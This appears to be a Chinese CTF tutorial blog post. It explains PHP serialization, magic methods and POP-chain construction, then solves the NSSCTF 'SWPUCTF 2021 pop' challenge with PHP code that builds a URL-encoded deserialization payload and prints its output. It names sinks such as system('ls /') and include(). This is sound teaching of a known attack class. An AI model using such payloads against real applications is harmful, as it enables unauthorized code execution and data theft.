引言
在CTF web方向中有这么一道题,php反序列化,出题人会给你一串php代码,要求你通过这串代码来传递参数从而调用函数来获取flag,而这串代码末位处通常会有反序列化函数,这就要求在传入参数时,要对参数进行序列化,相当于一正一负抵消了,使得传入的参数能被函数正常解析,在传入参数通过调用函数来获取flag的过程叫做构造POP链,在说POP链之前,我们先了解一些php序列化,在进一步讲如何构造POP链。
补充
1.PHP序列化及反序列化
1.1定义
<1>PHP序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
<2>PHP反序列化是一种将序列化数据转换为可用的PHP数据结构的过程。PHP反序列化可以帮助PHP开发人员轻松地存储和传输复杂的和多维度的结构。PHP反序列化可以把一些PHP格式的数据,比如:数组,对象,布尔值,等,反序列化为字符串或字节流,并将这些反序列化信息存储在文件中,或者在网络间传输。
1.2常用(反)序列化函数
<1>PHP的serialize()函数
PHP的serialize()函数可以把任何变量序列化为字符串,其中包括数组、对象等复杂类型变量。使用serialize()函数,可以把PHP变量在不同网络上传输,或者存储在文件中。
示例:
<?php
class test{
public $t = "Hello";
}
$T = new test();
echo serialize($T);
?>
//O:4:"test":1:{s:1:"t";s:5:"Hello";}运行结果
/*
代表的含义依次是:
O:代表object
4:代表对象名字长度为4个字符
test:对象的名称
1:代表对象里面有一个变量
s:数据类型(string)
1:变量名称的长度
t:变量名称
s:数据类型
5:变量值的长度
hello:变量值
*/
<2>PHP的unserialize()函数
PHP的unserialize()函数可以用来反序列化一个已经序列化过的字符串,把它转换为PHP变量,并将其返回。
示例:
<?php
$t1 = unserialize('O:4:"test":1:{s:1:"t";s:5:"Hello";}');
echo $t1->t;
?>
//运行结果输出互class test的变量t:hello
2.魔术方法
在通过传入参数调用函数时,可能单个函数无法直接调用,需要借助其他函数间接调用,在POP链中这类函数被称为魔术方法。
2.1定义
魔术方法指的是在 PHP 中以两个下划线开头的方法,__construct(), __destruct (), __call(), __callStatic(),__get(), __set(), __isset(), __unset (), __sleep(), __wakeup(), __toString(), __set_state,() __clone() __autoload()等。
2.2常用的几种魔术方法
construct destruct get set weakeup tostring invoke
函数名 | 作用 | 触发条件(绕过) |
__construct() | 初始化成员属性 | 对象创建完成后自动调用 |
__destruct() | 回收对象使用过程中的资源 | 在销毁对象的时候自动触发 |
__get() | 获取私有属性值 | 获取一个不可达属性属性的时候自动触发 |
__set() | 设置私有属性 | 设置一个不可达属性时自动触发 |
__wakeup() | 在对象反序列化后执行一些特定的操作,以还原对象的状态或执行其他必要的逻辑 | 反序列化规则不符,就会反序列化失败,绕过__wakeup() |
__toString() | 快速获取对象的字符串信息的便捷方式 | 当一个对象被当作字符串处理的时候,会被触发 |
__invoke() | 直接调用对象名 | 当尝试以调用函数的方式调用一个对象时会被触发 |
构造POP链
1.步骤:
- 复制源代码到本地(notepad,记事本)
- 注释掉(删除)和属性无关的内容
- 根据题目需要,给属性赋值
- 生成反序列化数据,通常需要url编码
- 传递数据到服务器
简单来说,可以概括为找函数,调用这个函数执行命令,获取flag。找函数,如eval(),system(),fie_get_contents(),include()等,调用命令如system("ls /"),fie_get_contents("flag.php"),include("flag.php")等。
2.实践
题目
[SWPUCTF 2021 新生赛]pop | NSSCTF
代码:
(1)将代码赋值到本地
(2)注释掉和属性无关的内容
(3)根据需要,给属性赋值,生成序列化数据
- <1>在class w44m有一个Getflag方法会输出flag,则我们需要创建对象的同时能间接的调用Getflag这个方法
- <2>在class w33m 的__tostring()中有一个 $this->w00m->{$this->w22m}();,这里可以是调用Getflag方法,创建class w33m,将$this->woom = class w44m, $this->w22m->=Getflag,即可调用Getflag函数
- <3>要调用到__toStirng,则要将class w33m 作字符串处理,发现 class w22m有一个__destruct(),
- echo $this->w00m;创建class w22m ,将$this->woom = class w33m,即可调用__toString(),__destruct在运行完这个文件会自动调用,
- <4>最后要在创建class 44m时要满足Getflag条件,给属性admin和passwd赋值
操作如下:(起始是class w44m,终止是class w22m,序列化class w22m)
<?php
//error_reporting(0);
//show_source("index.php");
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
/*
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
*/
}
class w22m{
public $w00m;
/*public function __destruct(){
echo $this->w00m;
}
*/
}
class w33m{
public $w00m;
public $w22m="Getflag";
/*
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
*/
}
/*
$w00m = $_GET['w00m'];
unserialize($w00m);
*/
$w4 = new w44m();
$w3 = new w33m();
$w2 =new w22m();
$w2->w00m = $w3;
$w3->w00m = $w4;
echo urlencode(serialize($w2));
?>
//运行结果O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
(4)传递给服务器
流程图如下:
写的比较粗糙,求个点赞^0^ ^0^